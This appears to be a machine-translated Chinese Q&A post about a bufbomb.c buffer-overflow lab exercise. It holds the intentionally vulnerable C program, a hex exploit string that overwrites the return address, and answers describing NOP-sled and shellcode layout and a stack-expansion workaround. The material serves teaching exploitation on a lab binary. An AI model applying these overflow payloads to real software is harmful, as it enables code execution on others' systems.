我正在使用bufbomb.c
进行一些buffer overflow attack
试验。
我成功使用gdb
来调试代码。 Howeverer;当我直接运行程序时,当我输入字符来尝试攻击时,我得到一个"Segmentation fault (core dumped)"
。
我使用gcc(Ubuntu / Linaro 4.8.1-10ubuntu9)4.8.1。建立以下。
//bufbomb.c
/* Bomb program that is solved using a buffer overflow attack */
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
/* Like gets, except that characters are typed as pairs of hex digits.
Nondigit characters are ignored. Stops when encounters newline */
char *getxs(char *dest)
{
int c;
int even =1; /* Have read even number of digits */
int otherd =0; /* Other hex digit of pair */
char*sp = dest;
while ((c = getchar()) != EOF && c !='\n') {
if (isxdigit(c)) {
int val;
if ('0'<= c && c <='9')
val = c -'0';
else if ('A'<= c && c <='F')
val = c -'A'+10;
else
val = c -'a'+10;
if (even) {
otherd = val;
even =0;
}
else {
*sp++= otherd *16+ val;
even =1;
}
}
}
*sp++='\0';
return dest;
}
/* $begin getbuf-c */
int getbuf()
{
char buf[12];
getxs(buf);
return 1;
}
void test()
{
int val;
printf("Type Hex string:");
val = getbuf();
printf("getbuf returned 0x%x\n", val);
}
/* $end getbuf-c */
int main()
{
int buf[16];
/* This little hack is an attempt to get the stack to be in a
stable position
*/
int offset = (((int) buf) &0xFFF);
int*space = (int*) alloca(offset);
*space =0; /* So that don't get complaint of unused variable */
test();
return 0;
}
然后我在gdb下执行了它:
...> gdb ./bugbomb
...
..run
Type Hex string:30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 d8 bf ff ff 9f 85 04 08 b0 86 04 08 30 31 32 33 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 ef be ad de
getbuf returned 0xdeadbeef
[Inferior 1 (process 13530) exited normally]
然后没有gdb ::
./bufbomb
Type Hex string:30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 d8 bf ff ff 9f 85 04 08 b0 86 04 08 30 31 32 33 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 ef be ad de
Segmentation fault (core dumped)
我正在寻找一些解决seg-fault的帮助。
答案 0 :(得分:1)
使用更大的缓冲区在gdb下运行它,以查看它尝试访问的地址,以猜测getbuf()
使用的返回地址的堆栈偏移量。
要承担因使用gdb而导致的内存偏移量的微小差异,请使用NOP-sled。您的攻击缓冲区应如下所示:
| RET ADDRESS x 30 | NOPS(
0x90
)x 1000 | SHELLCODE |。
返回地址应指向NOP-sled的中间位置。
如果执行跳转到底座中的任何位置,它将滑动到shellcode。
答案 1 :(得分:0)
您正在访问您的进程不“拥有”的内存。
当你运行gdb时,编译器会添加内容(比如额外的调试信息)。
在尝试缓冲区溢出之前,可以通过扩展堆栈来绕过分段错误:
int expand_stack(int n_bytes)
{
char buf[n_bytes];
return buf[n_bytes-1]; // access the memory to make sure the optimiser doesn't remove buf.
}
在main
中,在致电expand_stack
之前添加对test
的来电:
int main()
{
int buf[16];
/* This little hack is an attempt to get the stack to be in a
stable position
*/
int offset = (((int) buf) &0xFFF);
int*space = (int*) alloca(offset);
*space = expand_stack(200);
test();
return 0;
}
请注意,您的代码仍会调用未定义的行为。
注意2:如果您的编译器不支持可变长度数组,只需使用固定数组buf[200]
。